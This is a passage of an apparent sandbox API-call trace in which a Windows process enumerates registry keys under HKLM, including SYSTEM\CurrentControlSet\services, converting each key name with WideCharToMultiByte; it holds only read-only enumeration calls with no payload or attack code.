lpUsedDefaultChar=0x0) returned 4 [0223.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0223.333] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0223.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f16e8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0223.333] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0223.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0223.333] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0223.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0223.334] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0223.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0223.334] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0223.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0223.334] RegCloseKey (hKey=0x148) returned 0x0 [0223.334] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0223.334] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0223.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0223.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0223.334] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0223.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0223.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.334] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0223.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0223.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.335] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0223.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0223.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.335] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0223.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0223.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.335] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0223.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0223.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.335] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0223.335] RegCloseKey (hKey=0x80000002) returned 0x0 [0223.335] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.336] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.336] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f16e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.336] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.336] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0223.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.336] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.337] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.337] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.337] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.337] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0223.337] RegCloseKey (hKey=0x150) returned 0x0 [0223.337] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.338] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.338] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.338] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.338] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0223.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.338] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0223.338] RegCloseKey (hKey=0x148) returned 0x0 [0223.339] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.339] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a90, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.339] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0223.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0223.339] 